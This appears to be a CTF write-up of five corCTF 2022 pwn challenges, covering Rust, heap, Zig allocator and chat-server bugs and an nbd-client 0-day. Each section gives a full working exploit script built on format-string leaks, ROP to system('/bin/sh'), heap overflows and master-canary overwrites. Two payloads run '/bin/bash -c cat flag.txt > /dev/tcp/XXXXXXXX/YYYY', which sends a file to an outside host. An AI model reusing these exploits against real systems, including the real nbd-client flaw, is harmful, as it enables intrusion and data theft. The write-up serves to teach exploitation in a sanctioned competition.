I played corCTF 2022 in zer0pts.
Actually I wasn't planning to play the CTF as I was busy that weekend. However, I saw st98-san solve some Web tasks and it looked interesting, so I decided to make a little time to work on the pwn tasks.
I'm going to write my solution for the tasks I managed to solve.
Description: Just another one of those typical intro babypwn challs... wait, why is this in Rust? Server: nc be.ax 31801
The program is written by Rust but actually it's C.
The whole main
function is enclosed by unsafe
to call libc functions.
fn main() { unsafe { libc::setvbuf(libc_stdhandle::stdout(), &mut 0, libc::_IONBF, 0); libc::printf("Hello, world!\n\0".as_ptr() as *const libc::c_char); libc::printf("What is your name?\n\0".as_ptr() as *const libc::c_char); let text = [0 as libc::c_char; 64].as_mut_ptr(); libc::fgets(text, 64, libc_stdhandle::stdin()); libc::printf("Hi, \0".as_ptr() as *const libc::c_char); libc::printf(text); libc::printf("What's your favorite :msfrog: emote?\n\0".as_ptr() as *const libc::c_char); libc::fgets(text, 128, libc_stdhandle::stdin()); ... } }
Obviously, one bug is Format String Bug caused by printf
and the another is Stack Buffer Overflow by the last fgets
.
So, the easiest exploit is, first leak the libc address by FSB and then execute ROP chain by stack BOF.
from ptrlib import * libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so") sock = Socket("nc be.ax 31801") sock.sendlineafter("name?\n", "%{}$p".format(6 + 0x3d)) libc_base = int(sock.recvlineafter("Hi, "), 16) - 0x20e15e libc.set_base(libc_base) payload = b"A"*0x60 payload += p64(next(libc.gadget("ret;"))) payload += p64(next(libc.gadget("pop rdi; ret;"))) payload += p64(next(libc.search("/bin/sh"))) payload += p64(libc.symbol("system")) sock.sendlineafter("emote?\n", payload)
Description: Well since cshell was pwned because tcache bins were used, I decided to restrict you to sizes above tcache allocation because then tcache can't be used :)! Server: nc be.ax 31667
No source code, but the program is simple enough.
The program is a management tool to store person name, age, and bio. Analysing the binary, I found the structure of each person look like this:
typedef struct { u8 first[8]; u8 middle[8]; u8 last[8]; u64 age; u8 bio[]; } person_t;
The structure is allocated in the following way:
This is fine because the size must be bigger than 0x407 so it doesn't cause Heap Overflow on Line 32 at the moment.
Note that each read
doesn't terminate the string by NULL, which may cause Buffer Over-read in show
function when printing the entries.
The bug lies in the edit
function.
It allows us to write at most size - 0x20
bytes to bio
.
However, the offset to bio
is 0x40 so this may cause 0x20 bytes of Heap Buffer Overflow.
There is also a Use-after-Free vulnerability in re-age
function but it's not useful as a primitive and I didn't use it after all.
Address Leak
A common way to leak libc address in this type of heap challenge is to leak the address written in the freed chunk linked into unsorted/large/small bin.
Since the string is not terminated by NULL in this program, we can leak the link pointer.
I decided to leak it from bio
because otherwise we lose the first one byte of the pointer*1 at least.
To put the link pointer on bio
, we need to do something like the figure below:
First, create 3 unsortedbin-sized chunks. The last one is to avoid the freed chunks from being consolidated with top.
Second, delete the first 2 chunks. They get consolidated because they are unsortedbin-sized.
Next, create a chunk with 0x40 bytes larger size than the first-created chunk. This will write the link to main_arena
into the position of person[1].bio
, which is not accessible at this moment.
Then, we delete the chunk again as shown below. It will consolidate the chunk again but this time the link pointers (fd
and bk
) still remain at the position of person[1].bio
.
At last, we create 2 chunks with the original size and the second one (person[1].bio
) overlaps with the link pointers which we can leak.
This is not the only way to leak the address. An easier method is to use the heap BOF. In fact, I leaked the heap address by BOF*2.
First, delete a tcache-sized chunk.
Second, use the Heap Buffer Overflow to fill bio
with some printable byte until the beginning of the link.
Be noted that libc-2.32 introduced a meaningless mitigation called safe-linking. Every link pointer of the tcache and fastbin are encoded by the following formula:
[encoded pointer] = ([address of chunk] >> 12) ^ [address of link]
Since the deleted chunk is linked to NULL, we can denote the formula as:
[encoded pointer] = [address of chunk] >> 12
That is, we can leak the address of the chunk because we know the lower 12-bit is fixed.
AAW
We can overwrite the link pointer with the heap BOF to achieve AAW primitive.
First, delete 2 tcache-sized chunks so that the first one is linked to the second one.
Then, overwrite the link pointer by BOF.
Allocating 2 new chunks will give us arbitrary pointer.
I made it point to the person_t
list and got AAW.
Getting the Shell
Recently, another meaningless mitigation is introduced to libc. Function pointers like __free_hook
, __malloc_hook
are removed.
Still, we have bunch of pointers in libc. I abused [email protected]
to get RIP+argument control.
Here is the final exploit: ((I used reage
to modify only 64-bits for AAW, but simply edit
will also work.))
from ptrlib import * def add(index, size, f='AAAA', m='BBBB', l='CCCC', age=0xdead, bio='DDDDDDDD'): sock.sendlineafter("re-age user\n", "1") sock.sendlineafter("index: \n", str(index)) sock.sendlineafter("minimum): \n", str(size)) sock.sendafter(": \n", f) sock.sendafter(": \n", m) sock.sendafter(": \n", l) sock.sendlineafter(": \n", str(age)) sock.sendafter(": \n", bio) def show(index): sock.sendlineafter("re-age user\n", "2") sock.sendlineafter("index: \n", str(index)) r = sock.recvregex("last: (.+) first: (.+) middle: (.+) age: (\d+)\nbio: (.+)1 Add") return r def delete(index): sock.sendlineafter("re-age user\n", "3") sock.sendlineafter("index: ", str(index)) def edit(index, f='AAAA', m='BBBB', l='CCCC', age=0xdead, bio='DDDDDDDD'): sock.sendlineafter("re-age user\n", "4") sock.sendlineafter("index: ", str(index)) sock.sendafter(": \n", f) sock.sendafter(": \n", m) sock.sendafter(": \n", l) sock.sendlineafter(": \n", str(age)) sock.sendafter(")\n", bio) def reage(index, age): sock.sendlineafter("re-age user\n", "5") sock.sendlineafter("Index: ", str(index)) sock.sendlineafter(": ", str(age)) libc = ELF("./libc.so.6") sock = Process(["./ld.so", "--library-path", ".", "./cshell2"]) add(0, 0x418) add(1, 0x418) add(2, 0x418) delete(0) delete(1) add(0, 0x458) delete(0) add(0, 0x418) add(1, 0x418, bio='A'*8) libc_base = u64(show(1)[4][8:]) - libc.main_arena() - 0x60 libc.set_base(libc_base) delete(2) delete(1) delete(0) add(0, 0x418) add(1, 0x408) delete(1) payload = b'A'*(0x418-0x40) payload += b'X'*8 edit(0, bio=payload) leak = show(0)[4][0x418-0x40+8:] heap_base = u64(leak) << 12 logger.info("heap = " + hex(heap_base)) payload = b'A'*(0x418-0x40) payload += p64(0x411) edit(0, bio=payload) add(1, 0x408) add(2, 0x408) delete(2) delete(1) payload = b'A'*(0x418-0x40) payload += p64(0x411) payload += p64(((heap_base + 0x6c0) >> 12) ^ 0x4040c0) edit(0, bio=payload) ofs_got_strlen = 0x1c7098 add(1, 0x408) add(2, 0x408, f=p64(libc_base + ofs_got_strlen - 0x18), m=p64(0x408)) add(10, 0x418, f=b'/bin/sh\0') reage(0, libc.symbol("system")) sock.sendline("2") sock.sendline("10") sock.interactive()
Description: A heap note written in... zig? Server: nc be.ax 31278
The program is a simple note manager but is written by Zig language.
There is an obvious vulnerability in edit
function:
pub fn edit() !void { var idx: usize = undefined; var size: usize = undefined; try stdout.print("Index: ", .{}); idx = try readNum(); if (idx == ERR or idx >= chunklist.len or @ptrToInt(chunklist[idx].ptr) == NULL) { try stdout.print("Invalid index!\n", .{}); return; } try stdout.print("Size: ", .{}); size = try readNum(); if (size > chunklist[idx].len and size == ERR) { try stdout.print("Invalid size!\n", .{}); return; } chunklist[idx].len = size; try stdout.print("Data: ", .{}); _ = try stdin.read(chunklist[idx]); }
It writes data with arbitrary size but it doesn't re-allocate the chunk, which causes a Heap Buffer Overflow.
Graybox Heap Investigation
I put some random string to a chunk and searched for it with gdb. It seemed that the allocator is very different from the glibc memory allocator.
I created some chunks like
add(0, 0x10, "A"*0x10) add(0, 0x20, "B"*0x20) add(0, 0x20, "C"*0x20)
and found the allocator is similar to jemalloc.
Unlike K&R, the allocator uses different memory spaces for different size bands. It's more like jemalloc or SLUB of Linux kernel.
Also, it looked like the memory region for heap management exists near the data region.
We can leak these pointers by Buffer Over-read because the string is not NULL terminated.
Making AAR/AAW Primitives
Maybe we can do more by overwriting the management region.
In the screenshot above, you will notice that the pointer at 0x7ff9d92bb010
is pointing to the data region.
Probably the allocator uses it to find an available space when malloc
is called.
I did an experiment to overwrite the pointer and allocate a new chunk.
payload = b"B"*0x1000 payload += p64(addr_heap)*2 payload += p64(elf.symbol("chunklist") - 0x10) edit(1, 0x1020, payload) add(2, 0x20, b"Hello")
It worked!
The chunk for add(2, 0x20, b"Hello")
is allocated near elf.symbol("chunklist")
.
So, we can overwrite chunklist
with arbitrary data, which drops AAR/AAW primitive.
Getting the Shell
I looked over the memory and found there exist some stack pointers. So, I leaked the address by AAR and injected a ROP chain into the stack by AAW.
Here is the full exploit:
from ptrlib import * def add(index, size, data): sock.sendlineafter("> ", "1") sock.sendlineafter(": ", str(index)) sock.sendlineafter(": ", str(size)) sock.sendafter(": ", data) def delete(index): sock.sendlineafter("> ", "2") sock.sendlineafter(": ", str(index)) def show(index): sock.sendlineafter("> ", "3") sock.sendlineafter(": ", str(index)) return sock.recvline() def edit(index, size, data): sock.sendlineafter("> ", "4") sock.sendlineafter(": ", str(index)) sock.sendlineafter(": ", str(size)) sock.sendafter(": ", data) elf = ELF("./zigzag") sock = Socket("nc be.ax 31278") add(0, 0x10, b"/bin/sh\0") add(1, 0x20, "B"*0x20) edit(1, 0x1020, "B"*0x1001) addr_heap = u64(show(1)[0x1000:0x1008]) - 0x42 logger.info("heap = " + hex(addr_heap)) payload = b"B"*0x1000 payload += p64(addr_heap)*2 payload += p64(elf.symbol("chunklist") - 0x10) edit(1, 0x1020, payload) add(2, 0x20, b"Hello") def AAR(address, size=8): edit(2, 0x10, p64(address) + p64(size)) return show(1) def AAW(address, data): edit(2, 0x10, p64(address) + p64(len(data))) edit(1, len(data), data) addr_stack = u64(AAR(elf.symbol("argc_argv_ptr"))) - 0xc8 logger.info("stack = " + hex(addr_stack)) rop = flat([ next(elf.gadget("pop rdi; ret;")), 0x205100, next(elf.gadget("or rdx, rdi; ret;")), next(elf.gadget("pop rsi; ret;")), 0, next(elf.gadget("pop r14; pop r15; pop rbp; ret;")), 0xdeadbeef, 0xdeadbeef, 0xdeadbeef, next(elf.gadget("pop rdi; ret;")), addr_heap - 0x3000, next(elf.gadget("pop rax; mov rsi, rcx; syscall; ret;")), SYS_execve['x64'] ], map=p64) AAW(addr_stack, rop) sock.interactive()
Be noted the ROP chain above has some garbage gadgets because the function modifies data at those positions before reaching ret
.
Description: Can you pwn our internal, terribly written, chat program?
A chat server written in C++ and the source codes are distributed.
There are 4 commands available:
SET_UNAME
: Get a new usernameGETSTATUS
: Get the result oftop -n 1 ...
but only available for admin_SEND_MSG
: Broadcast a message to everyoneGET_UNAME
: Get the current username
The GETSTATUS
command looked suspicious but a normal user cannot use the command and there's no code to become admin.
Vulnerability
The bug lies in _SEND_MSG
command when receiving the message to broadcast:
typedef struct { char buffer[1024]; uint16_t flags; uint16_t len; } cor_msg_buf; std::string Crusader::RecvMessage() { std::string msg = ""; cor_msg_buf msg_buf; memset(msg_buf.buffer, '\x00', sizeof(msg_buf.buffer)); if (read(this->m_sock_fd, &msg_buf.len, sizeof(msg_buf.len)) <= 0) return msg; if (msg_buf.len >= sizeof(msg_buf.buffer) || msg_buf.len == 0) return msg; if (read(this->m_sock_fd, &msg_buf.flags, sizeof(msg_buf.flags)) <= 0) return msg; msg_buf.len -= sizeof(msg_buf.flags); if (msg_buf.len <= 0) return msg; if (read(this->m_sock_fd, msg_buf.buffer, msg_buf.len) <= 0) return msg; msg_buf.buffer[msg_buf.len] = '\x00'; msg += msg_buf.buffer; return msg; }
There is a line of code that subtracts sizeof(msg_buf.flags)
from msg_buf.len
.
After that, the program checks if msg_buf.len
is negative to avoid integer overflow.
However, the type of msg_buf.len
is uint16_t
, which can never be negative.
So, this check actually doesn't prevent the integer overflow, which leads to Stack Buffer Overflow.
We can write up to 0xffff bytes into msg_buf.buffer
. However, the problem is that SSP and PIE are enabled.
$ checksec corchat_server [*] '/home/ptr/corctf/corchat/corchat_server' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
We can't simply run a ROP chain by the stack BOF.
One thing you may notice is the following statement:
msg_buf.buffer[msg_buf.len] = '\x00';
Since len
exists after buffer
in the msg_buf_t
struct, we can put an arbitrary value to len
by the buffer overflow.
That is, we have a primitive to write a single NULL byte within 0xffff bytes relative to the buffer.
Bypassing the Stack Canary
I checked for some pointers on the stack to abuse the NULL-byte primitive. However, I couldn't find any useful pointer.
Minutes later, I realized the receiver is running on a thread created by pthread_create
.
So, the memory layout looks like the figure below:
The stack area with red background is stack of the receiver thread, in which the stack buffer overflow takes place.
From the memory layout, you will notice that you can overwrite TLS region. Yes, TLS has the master canary!
So, if you set len
to the offset between buffer
and the master canary, a NULL byte will be set to the master canary.1
In this way, we can overwrite the master canary byte by byte, which will eventually make the stack canary to be 0x0000000000000000.
Command Execution
Still, we have one more problem to solve: PIE is enabled.
I looked over the source code to see if I could leak the address anywhere else. As far as I briefly checked, however, I couldn't find any vulnerability useful for address leak.
I opened IDA and checked if I could jump to anywhere useful by partially overwriting the return address.
Overwriting the lowest byte of the return address with 0x11, we can jump to call DoAdmin
instruction.
The RDI register points to the controllable string buffer, which means we can control the argument of DoAdmin
too!
Here is the exploit:
from pwn import * import time def set_uname(sock, name): sock.send(b"SET_UNAME") sock.send(p16(len(name))) sock.send(name) return sock.recvline() def get_uname(sock): sock.send(b"GET_UNAME") return sock.recvline() def get_status(sock): sock.send(b"GETSTATUS") def send_msg(sock, message, flags=0): sock.send(b"_SEND_MSG") sock.send(p16(len(message) + 2)) sock.send(p16(flags)) sock.send(message) def overflow_msg(sock, message, flags=0): sock.send(b"_SEND_MSG") sock.send(p16(1)) sock.send(p16(flags)) sock.send(message) time.sleep(1) sock1 = remote('pwn-corchat-228d8d0b4c128aba.be.ax', 1337, ssl=True) print(sock1.recvline()) ofs_master_canary = 0xd78 for i in range(1, 8): print(i) payload = b'A'*0x400 payload += p16(0) payload += p16(ofs_master_canary + i) payload += b'A'*4 payload += b'\x00' * (i + 1) overflow_msg(sock1, payload) payload = b"/bin/bash -c 'cat flag.txt > /dev/tcp/XXXXXXXX/YYYY'\0" payload += b"\x00"*(0x400 - len(payload)) payload += p16(0) payload += p16(0x400) payload += b'\x00'*0x24 payload += b'\x11' overflow_msg(sock1, payload) sock1.interactive()
I think this challenge is really creative 👍
Description: You pwned the server in 4th Real World CTF, can you pwn the client now? Sever: nc be.ax 31279
I didn't have time but I took a look at this challenge because I've pwned NBD 0-day in Real World CTF before.
This challenge, again, is a 0-day pwn. I pwned NBD server In Real World CTF but this time it is NBD client.
Poor NBD author, to be used twice in CTFs for his software 0-day.
The challenge server executes the NBD client in the following way:
subprocess.run(['./nbd-client', ip.strip(), '-N', 'whatever', '-l', port.strip(), '/dev/nbd0'])
Let's check the client source code.
First, negotiate
function is called for handshake.
Since we pass -l
option to the client, the following path is taken:
if(do_opts & NBDC_DO_LIST) { ask_list(sock); exit(EXIT_SUCCESS); }
Let's check ask_list
function.
If the NBD server (our exploit) replied NBD_REP_SERVER
, the execution reaches the following path:
if(reptype != NBD_REP_ACK) { if(reptype != NBD_REP_SERVER) { err("Server sent us a reply we don't understand!"); } if(read(sock, &lenn, sizeof(lenn)) < 0) { fprintf(stderr, "\nE: could not read export name length from server\n"); exit(EXIT_FAILURE); } lenn=ntohl(lenn); if (lenn >= BUF_SIZE) { fprintf(stderr, "\nE: export name on server too long\n"); exit(EXIT_FAILURE); } if(read(sock, buf, lenn) < 0) { fprintf(stderr, "\nE: could not read export name from server\n"); exit(EXIT_FAILURE); } buf[lenn] = 0; printf("%s", buf); len -= lenn; len -= sizeof(lenn); if(len > 0) { if(read(sock, buf, len) < 0) { fprintf(stderr, "\nE: could not read export description from server\n"); exit(EXIT_FAILURE); } buf[len] = 0; printf(": %s\n", buf); } else { printf("\n"); } } }
The following part is the vulnerable code:
len -= lenn; len -= sizeof(lenn); if(len > 0) { if(read(sock, buf, len) < 0) { fprintf(stderr, "\nE: could not read export description from server\n"); exit(EXIT_FAILURE); } buf[len] = 0; printf(": %s\n", buf); } else { printf("\n"); }
Because the type of len
is unsigned, len > 0
always holds true unless len == 0
.
So, the following read
causes Stack Buffer Overflow.
Since PIE and SSP are disabled, it's very easy to exploit this vulnerability.
from ptrlib import * import contextlib import socket NBD_REP_ACK = 1 NBD_REP_SERVER = 2 def recv_request(sock): assert sock.recv(8) == b'IHAVEOPT' opt = u32(sock.recv(4), 'big') ds = u32(sock.recv(4), 'big') data = sock.recv(ds) return opt, ds, data def send_reply(sock, rep_type, length): sock.send(p64(0x3e889045565a9, 'big')) cli.send(p32(0, 'big')) cli.send(p32(rep_type, 'big')) cli.send(p32(length, 'big')) libc = ELF("./libc-2.31.so") elf = ELF("./nbd-client") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) rop_csu_popper = 0x40771a rop_csu_caller = 0x407700 addr_stage = elf.section(".bss") + 0x800 with contextlib.closing(sock): sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1) sock.bind(('0.0.0.0', 18002)) sock.listen(1) cli, addr = sock.accept() """ Handshake """ cli.send(b"NBDMAGIC") cli.send(b"IHAVEOPT") cli.send(p16(0xffff, byteorder='big')) print("client_flags:", hex(u32(cli.recv(4), 'big'))) assert recv_request(cli)[0] == 3 """ ask_list """ send_reply(cli, NBD_REP_SERVER, length=0x1) cli.send(p32(0x3ff, 'big') + b"A"*0x3ff) payload = b"A"*0x410 payload += b"\x00"*0x10 payload += p32(NBD_REP_ACK) * 4 payload += b"A"*0x38 payload += flat([ rop_csu_popper, 0, 1, 3, elf.got("write"), 8, elf.got("write"), rop_csu_caller, 0xdeadbeef, 0, 1, 3, addr_stage, 0x100, elf.got("read"), rop_csu_caller, 0xdeadbeef, 0, 1, 12, 13, 14, 15, next(elf.gadget("pop rsp; ret;")), addr_stage ], map=p64) cli.send(payload) assert recv_request(cli)[0] == 2 libc_base = u64(cli.recv(8)) - libc.symbol("write") libc.set_base(libc_base) payload = flat([ next(elf.gadget("pop rdi; ret;")), addr_stage + 0x80, libc.symbol("system"), next(elf.gadget("pop rdi; ret;")), 0, libc.symbol("exit"), ], map=p64) payload += b"\x00"*(0x80 - len(payload)) payload += b"/bin/bash -c 'cat flag.txt > /dev/tcp/XXXXXXXX/YYYY'" cli.send(payload) cli, addr = sock.accept() print(cli.recv(1024))
However, the network between my home and the challenge server was very unstable and my exploit didn't work. So, I rent a server in New York and run my exploit there, then I could get the flag.
I want to win the write-up competition to compensate for this server fee ($0.006) 🥺